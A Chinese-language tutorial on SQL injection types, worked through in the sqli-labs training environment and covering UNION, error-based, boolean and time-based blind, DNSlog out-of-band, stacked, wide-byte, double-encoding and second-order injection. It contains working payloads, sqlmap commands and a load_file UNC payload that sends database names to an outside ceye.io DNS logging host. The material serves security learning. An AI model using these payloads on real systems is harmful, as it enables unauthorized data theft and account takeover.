SQL注入的几种类型和原理
文章来源渗透云笔记作者团;伍默
在上一章节中,介绍了SQL注入的原理以及注入过程中的一些函数,但是具体的如何注入,常见的注入类型,没有进行介绍,这一章节我想对常见的注入类型进行一个了解,能够自己进行注入测试。
注意:以下这些类型实在slqi-labs环境(也就是MySQL)下实验,SQL是所有关系型数据库查询的语言,针对不同的数据库,SQL语法会有不同,在注入时的语句也会有所不同。
UNION 联合查询注入
原理
UNION 语法:用于将多个select语句的结果组合起来,每条select语句必须拥有相同的列、相同数量的列表达式、相同的数据类型,并且出现的次序要一致,长度不一定相同。
注意:UNION操作符选取不重复的值。如果允许重复的值,请使用 UNION ALL。
UNION注入的应用场景
UNION连续的几个查询的字段数一样且列的数据类型转换相同,就可以查询数据;
注入点有回显;
只有最后一个SELECT子句允许有ORDER BY;只有最后一个SELECT子句允许有LIMIT。
UNION注入的流程
1 |
graph LR |
为什么 order by 能确定列数?order by 的作用为根据一列或者多列的值,按照升序或者降序排列数据,当超出表的列数是发生报错。
为什么需要确定列数?UNION 内部的 SELECT 语句必须拥有相同的列(可用二分快速查找)
方法
下面用sqli-labs第一关演示。
可能有读者会疑惑,“–”可以理解,SQL注释,那么“+”有什么用,并且执行的语句中也不包含“+”号。
URL只允许使用US-ASCII字符集的可打印字符。URL中 “+” 代表URL编码的空格。
判断出列的位置后,在页面中寻找回显的位置,这里运用的SQL的一个特性。
这个特性有什么用?页面代码只返回第一条结果,UNION SELECT 获取的结果无法输出到页面,可以构造不存在的ID,使第一条语句查询结果为空,返回 UNION SELECT获取的结果。
到这里,可以确定返回页面的位置,在对应的位置写想要的SQL语句即可拿到想要的信息。
实际上返回的结果为多条,所以需要将结果连接为一条,使用 limit 或者 group_concat 的函数连接结果。
后面就很顺利的按上一章节中的SQL注入流程来读取数据。
有读者可能会迷惑,我还是解释一下,读库、读表、读字段、读数据。我这里使用了几个函数,连接字符的group_concat,指定分割符连接的 concat_ws。
报错注入
原理
接下来的文字会省略一些,因为找到对应的回显之后,整个过程类似。无论是那种类型的注入,本质上是SQL语句被执行之后寻找对应的回显。
对于报错,回显在错误中,后面的的时间注入,回显在时间的判断中,DNSlog盲注中,回显在DNSlog中。
报错注入如何发生的?
构造payload让信息通过错误提示回显出来
什么场景下有用?
查询不回现内容,但会打印错误信息
Update、Insert等语句,会打印错误信息(前面的union 不适合 update 语句)
这种场景的源码是怎样的?
1 |
if($row) |
当执行的SQL语句出错时返回错误信息,在错误信息中返回数据库的内容,即可实现SQL注入。
那么实现SQL注入的难点就在于构造语句,制造错误,让错误中包含数据库内容。
这里介绍3个函数引起报错,其他的函数类似。
floor()
1
2SELECT count(*) from information_schema.`TABLES` GROUP BY concat((select version()),floor(rand(0)*2))
group by对rand()函数操作是产生了错误extractvalue()
1
2extractvalue(1,concat(0x7e,(select user()),0x7e))
xpath语法导致的错误updatexml()
1
2select updatexml(1,concat(0x7e,(select version()),0x7e),1)
xpath语法导致的错误
方法
Floor函数报错注入方法**
上面的语句在MySQL客户端中的执行效果,可以看到返回的错误中包含了想要的信息。
在网页中执行的效果。
把语句变换一下
后面就是查库、查表、查数据流程,注意数据太多使用concat、limit等函数链接处理。
另外这里介绍一些技巧避免重复手工。
比如limit这种只需要改变数值查询数据的语句,使用Burp suite 的intruder功能,关键参数配置字典,对返回的结果进行匹配。
extractvalue()报错注入方法
extractvalue()需要两个参数,第一参数为xml文档,第二个参数为xpath语句,直接给常见的语句。
网页中的效果
笔者在看到这个语句的时候其实是有疑惑的。
为什么构造的语句为第二个参数?我理解函数执行过程中,第二个参数像正则匹配一样从第一个参数中匹配出结果。操作第二个参数能直接的触发错误
为什么使用concat函数?使其中的语句字符串化,如果有读者直接将第二个参数使用查询版本的函数就会发现,报错的结果不包含“@”符号前的字符,原理大概也猜得到,“@”符号在xpath格式中有其他含义。
为什么使用concat函数中第一个参数构造了一个波浪号?其实这个原因和上面一样,构造非法的参数,这样才能在错误中看到后面完整的数据。
updatexml() 函数的报错注入
updatexml() 的第一个参数为xml文档对象,第二个为xpath格式的字符串,第三个为string格式,替换查找到符合条件的数据。和名字一样,作用为更新文档中符合条件的字符串。
这条语句和上一条类似。
另外,报错信息是有长度限制的,在mysql的源码 mysql/my_error.c 中也有注释,如果得到的数据太长,可以使用substr进行字符串的切割。
小结
报错注入的原理还没有理解,先知社区上有一篇文章报错原理写很好,后续再继续研究吧。
布尔盲注
原理
布尔盲住指得是代码存在SQL注入漏洞,但是页面既不会回显数据,也不会回显错误信息,只返回 ”Right“ 和 ”Wrong”。
通过构造语句,来判断数据库信息的正确性,通过页面返回的 ”真“ 和 ”假“ 来识别判断是否正确。
大白话:这就像你不断的询问一个人,他只会说对还是错,虽然信息有限,但是也能得到想要的信息,
布尔盲住过程中常用到的一些函数
left()
:left(database(),1)>'s'
,databases() 显示数据库的名称,left(a,b)从左侧截取a的前b位regexp()
:select user() regexp '^r'
,正则表达式匹配like()
:select user() like 'ro%'
,和regexp 类似substr()
和ascii()
:ascii(substr((select(database()),1,1))=98
ord()
和mid()
:ord(mid((select user()),1,1))=114
几个函数没什么好说,都是对字符串操作的函数,有一个地方需要关注下,有些场景单引号下会注入失败,使用ascii()
等函数转为 ascii 码已适用于更多的场景。
方法
下面通过 sqli-labs 的例子测试下。
通过上面页面返回的不同可以判断语句被成功执行,猜测查询语句的结构,可以构造如下的语句。
http://wuhash.ml/Less-8/?id=1' and left((select database()),1)='a' --+
结合 “Burp Suite” 的 “Intruder” 模块爆破结果。
能否更快速的爆破?答案是可以的,添加多个字典即可。
其他函数组成的payload,这里就不详细讲了
1 |
http://wuhash.ml/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^em' --+ |
数据库库、表、字段所有名称的可用字符范围为:A-Z、a-z、0-9和下划线。
也就是 ASCII 码48到122,利用这点可快速的爆破出结果。
时间盲注
原理
时间盲注:代码存在SQL注入漏洞,然而页面即不会回显数据,也不会回显错误信息,语句执行之后不提示真假,不能通过页面来进行判断。通过构造语句,通过页面响应的时长来判断信息。
无法进行报错注入和布尔注入之后,人们想到了新的攻击点,“页面返回的时间”,笔者觉得能想到这一点人真是天才,谁提出的已无法追溯,可能在过去一段时间内,对于一些无论正确还是错误的页面返回都相同,攻击者在很长的一段时间陷入困境,某位用咖啡续命的攻击者灵光一闪,随后向他的朋友进行了讨论和验证,新的攻击方式被提出。
时间盲住的关键点在于 if()
函数,通过条件语句进行判断,为真则立即执行,否则延时执行。
例如 if(left(user(),1)=‘a’,0,sleep(3));
例如if(ascii(substr(database(),1,1))>115,0,sleep(5))%23
。
方法
这里打开sqli-labs的第10关查看下他的源码,发现无论输入是否正确,返回几乎都是一模一样的。
有一部分代码我截图出来,Get 方法接收到的ID会被添加上双引号,所有最终的语句是这样。
时间注入里如何进行前面我说的查库、查表、查列、查数据那样的流程呢?
相信到这里也发现了,这种方式太缓慢了,能否快一点?可以的,编写自动换脚本,猜单词游戏在这里发挥到极致,每个字段都要进行猜测。
DNSlog盲注
原理
DNSlog盲住其实属于带外攻击(Out Of Band),什么是带外攻击?
很多场景下,无法看到攻击的回显,但是攻击行为确实生效了,通过服务器以外的其它方式提取数据,包括不限于 HTTP(S) 请求、DNS请求、文件系统、电子邮件等。
事实上,带外攻击不限于 DNSlog 盲注场景下,比如命令执行、SQL注入、XXE等。
先解释下DNSlog盲注的原理,借助应用的本身的功能发起DNS请求,盲注的结果作为DNS请求的一部分,DNSlog记录了DNS的请求,当然也记录了盲注的结果。
如何发起DNS请求?对域名访问,解析域名即产生DNS请求。
在关于我所了解的SQL注入中提过load_file
函数,load_file
在官方文档中描述为读取本地文件,然而在windows下的路径有一种命名惯例,名为UNC,本来的作用为共享文件与设备,UNC路径格式为\\host-name\share-name\object-name
,”hos-name”部分可以是FQDN,这个特性使得win下load_file的UNC可触发DNS请求,当然也限制了DNSlog盲注只限于 win 下。
方法
一条典型的payload如下。
select load_file(concat('\\\\',(select database()),'.7dxfaj.ceye.io\\abc'))
其中“7dxfaj.ceye.io”是“ceye.io”分配的子域名。”ceye.io”知道创宇404团队开发的一款记录DNSlog的平台,不仅能记录DNS请求,HTTP请求也同样。(就是日常崩)。
为什么这里有四个“\”,因为转义的原因,
如果你有服务器和域名的话,推荐自己搭建平台,四叶草安全开源了一款同样的工具。
如何实战
这里以sqli-labs为例,其他场景类似,区别在于payload的构造。
在ceye.io上查看解析记录,成功看到其中含有函数执行的结果。
什么样的场景下这个很有用?相对于时间盲住来说这个能够直接查询到结果,比时间盲住更好。
但同时它的要求也很高,为什么?因为这里涉及到“load_file”操作,“secure_file_priv”的值为空才能进行UNC路径读取。
能不能爆数据?可以,利用相关的字符切割函数,FQDN是有长度限制的(RFC 1035 规定FQDN通常为255个字节)。
修改limit
的值查询字段。
后续的查询数据不再演示,需要注意的是,实战中,这种查询方式仍然显得缓慢,ceye.io也提供的对应的API,最好是字节自动化脚本。
堆叠注入
关于堆叠注入,要从堆叠查询说起,我们知道每一条SQL语句以“;”结束,是否能能多条语句一起执行呢?这是可以的。
第二条语句不必像联合查询那样要求类型一致,甚至能使用 “update”语句修改数据表。
结合实践盲注中的语句,就能构造出payload。
例如;select if(substr(user(),1,1)=‘r’,sleep(3),1)%23
更多语句不进行赘述。
到这里已经介绍了一些注入方式了,有一些书籍或文章可能还会介绍get注入、post注入、数字型注入、字符型注入,在我看来,只是改变了注入点和闭合语句的方式不同。
下面介绍的是一些比较少遇到的,利用的点不同,结合了其他特性。
宽字节注入
原理
这里我先解释下什么是宽字节。
先说下ASCII,这个编码为8个比特位,1个字节,所以能映射的范围仅有256个字符。
到了汉字这里,这套编码不够用了,毕竟汉字太多了。
这其中,出现GBK、BIG5、GB2312、gb18030等编码用以适用于汉字,原来的一个字节无法容纳,需要占用更多的字节来编码,这就是所谓的宽字节。
为什么宽字节注入会发生?
一般来说,我们使用进行SQL注入测试时,都会使用'
、"
,开发者为了防止SQL注入,将传入到的符号进行转义,例如php中addslashes函数,会将字符加上转义符号。
由于转义的存在,加上mysql的特性是的结果和正常的相同,甚至都不能判断含有注入点,sqlmap进行测试页无法进行注入。
下面以sqli-labs的第36关为例。
这里我开启日志功能,查看真正执行的语句,你也可以在网页中打印语句。
1 |
SHOW VARIABLES LIKE 'general%'; |
执行的语句为SELECT * FROM users WHERE id='1\'' LIMIT 0,1
,不知道有没有小伙伴和我一样疑惑这个语句为什么能执行成功,笔者迷惑了一上午,在某位大大的帮助下终于理解了,感谢大大。笔者进行了一系列测试。
我们都知道”\“是转义符,也就是说最终where的是 id “1‘”(我特意用双引号表示),表中应该没有“1’”这个ID,结果应该为空,但实际上这条查询的结果和 SELECT * FROM users WHERE id='1' LIMIT 0,1
相同。
这和mysql中的隐式类型转换有关,官方文档在末尾。
简单来说,mysql会自动推导数据类型,我们看一个列子。
笔者猜测由于类型转换失败,不进行匹配,所以仍然能查出结果。
回到宽字节的主题上,浏览器会将URL中'
的编码为%27
,经过函数添加的转义符,变成了%5c%27
(\‘),如果在 “‘” 前面添加%df
,编码后的数据为%df%5c%27
。
如果查询的数据库是GBK编码时,会被认为是一个汉字,这里是”運“,也就是说最终语句变成了SELECT * FROM users WHERE id='1運' LIMIT 0,1
(上面网页中为编码为UTF-8,无法正常显示)。添加的转义符号被“吃”掉了,转义符失去了原有的作用。
知道了这一点,后续的注入就很简单了。
order by 确定字段列数。
查看回显。
后面的查库、查表、查列、查数据就很顺利了。
能不能sqlmap直接一把梭?可以,不过需要更改下测试语句。
另外,sqlmap也提供了tamper来解决这种情况。
sqlmap -u "http://wuhash.ml/Less-36/?id=1" -b --tamper=unmagicquotes.py --batch --thread=10
如何发现宽字节注入
黑盒测试:在可能的注入点键入%df,之后进行注入测试
白盒测试
查看MySQL编码是否为GBK
是否使用preg_replace把单引号替换为\‘
是否使用addslashes进行转义
是否使用mysql_real_escape_string进行转义
后续的一些问题
为什么输入%81就可以进行宽字节注入了?
GBK编码是对GB2312编码的扩展,采用双字节编码方案,其编码范围是 8140-FEFE,上面添加 %81 是为了让编码的结果在GBK编码范围中,将其识别为一个字符,从而“吃掉“转义符。
编码问题是如何发生的?
注入的过程设计到多个编码,包括php源码文件中指定SQL语句的编码,数据库的编码,页面本身的编码。
页面的编码有什么影响?添加的“%df”在URL中不会被再次编码,SQL语句指定编码我GBK,addslashes对单引号进行添加转义符号,添加的%df和转义发被解释为一个字符,同事页面返回的结果未正确显示,笔者的默认编码是Unicode(可声明编码),更换编码后可正确显示。
后续是P牛博客的思路,链接放在末尾。
如何防御?
php文档提供了mysql_real_escape_string函数,需要在声明数据库使用的编码,否则宽字节注入仍然会发生。
指定连接的形式是二进制即可,所有数据以二进制形式传递,就能有效避免宽字节注入。
SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
只有GBK编码会发生吗?
实际上其他语言的编码也可以,只要能够“吃掉”转义符的编码。
还有其他姿势吗
在大多数的CMS中采用icnva函数,将UTF-8编码转换为GBK编码。
但实际上仍然会发生注入。
P牛提到“錦”的UTF-8编码为e9 8c a6
,GBK编码为E55C
。
转义符和单引号的编码为5c27
,合起来是E55C 5c27
。
两个5c
被解释为转义符转义转义符本身,仅作为一个字符解释,所以注入仍然会发生。
二次编码注入
原理
第一个问题,为什么要进行URL编码?
原始的格式在WEB应用中不适合传输,一些符号回与HTTP请求的参数冲突。比如HTTP的GET方法,格式是这样http://a.com/index.php?user=admin&passwd=admin
,如果说有一个 user 为 “useer=”(注意等号),组合成这样http://a.com/index.php?user=admin=&passwd=admin
,这样的语句就会产生问题,导致WEB应用无法正常运行。
关于字符的问题,推荐看这个。
实际上这个问题扩张开来,为什么要进行编码?一定是因为原始格式不适合传输才进行的编码。
另外,在一般情况下,WEB应用传递给PHP等应用参数时,PHP会自动对参数进行一次URLdecode。
同样 php 也提供了函数进行调用,在某些CMS中,进行了转义+二次 URLdecode,造成。
我们来看一段php页面的代码。
可以看到使用GET方法传递 ID,ID传入之后经mysql_real_escape_string转义,然后进行URLdecode,问题就出出现在这里。
注入方法
下面以上面的源码为例测试。
可以看到输入的单引号被转义。如果下面构造的特殊的参数,页面就会变成这样。
解释一下,为什么这样?“%25”被自动解码为百分号,输入的参数中为含有单引号,所以未被转义。
在二次解码之后,“%27”被解释为单引号,熟悉的报错又回来了。
在sqlmap中和宽字节同理
sqlmap -u "http://wuhash.ml/Less-1/doublecode.php?id=%2527" -b --batch --thread=10
二次注入
原理
二次注入的重点在于添加进数据库的恶意数据被二次调用。
这里两个关键。第一:添加进的数据库使我们构造的恶意数据(需要考虑到转义等炒作),第二:恶意数据被二次调用触发注入。
方法
这里以sqli-labs 的 Lless24 进行二次注入练习。
sqli-labs的24关是一个登录界面,下面有创建用户和重置密码的链接,我们打开源码进行查看。
创建用户的页面提交的表单被发送”login_create.php”文件
“login_create.php”取到了3个值,分别是“username”、“pass”、“re_pass”,并且使用了mysql_escape_string
进行了特殊字符转义。一开始进行了用户名是否存在的查询判断,如果不存在,对比两次输入的密码是否一致,如果一致,进行了一个insert
操作,将用户名和密码插入user
表中。
当前的user
表是这样的。
创建一个用户名为“admin’#”的用户,密码任意并登陆。
登陆之后含有Reset按钮,查看源码,参数被发送到 ”pass_change.php”文件。查看“pass_change.php”的源码,接收三个参数 “cur_pass”、“pass”、”re_pass“,同样使用了mysql_escape_string
进行了转义。如果更新的两个密码一致,执行一条update
的 sql操作。
现在的数据库是这样。
对“admin’#“进行密码重置,对比着查看数据库。
注意图中的“admin”的“password”值,不是笔者贴图错误,而是确实如此。打开mysql的查询日志查看执行的语句。
经过了转义,'#
完整的插入数据库之后,进行二次调用时,也被完整的调用出来。
“#”在 sql 语句中表示注释,后面的语句不会被执行,整条语句相当于执行UPDATE users SET PASSWORD='1314' where username='admin'
,所以“admin”的密码被更改。
后续的笔记就不细说了,可以看出,利用应用本身的功能特性讲恶意数据插入在数据表中,在其他功能点被调用引发注入。在很多场景下,可能利用并不是这么利用的,课程中演示了里一个页面,列举了用户名,注册一个名为“1’ union select 1,user(),3#”的用户,在二次调用时,成功是用户名中显示为数据库用户。
最后说一下这里常见的绕过点,尝试编码绕过(例如URL编码)、HEX绕过、运用mysql自身的一些特性绕过……。
总结
受限于篇幅,这一篇某些地方没有详细的记录,笔记大部分内容都来自网易云与 i 春秋合作的课程,感谢讲师@ADO。老实说,这篇笔记鸽了3个星期左右,有几个原因。
漏洞点都要自己进行验证,比较缓慢
最近工作上有点忙,下班无心学习
我在摸鱼……。
笔者学习是比较容易偏离方向,比如DNSlog盲注时抓包发现请求有点不合常理,又跑去找资料看……
参考资料
[红日安全]Web安全Day1 - SQL注入实战攻防
Web安全工程师(进阶)- SQL注入篇
一篇文章带你深入理解 SQL 盲注
MYSQL报错注入的一点总结
SQL Injection
SQL Injection Wiki
SQL注入WIKI
【技术分享】MySQL Out-of-Band 攻击
OOB(out of band)分析系列之DNS渗漏
Dnslog在SQL注入中的实战
Hr-Papers|宽字节注入深度讲解
12.2 Type Conversion in Expression Evaluation
谈谈MySQL隐式类型转换
浅析白盒审计中的字符编码及SQL注入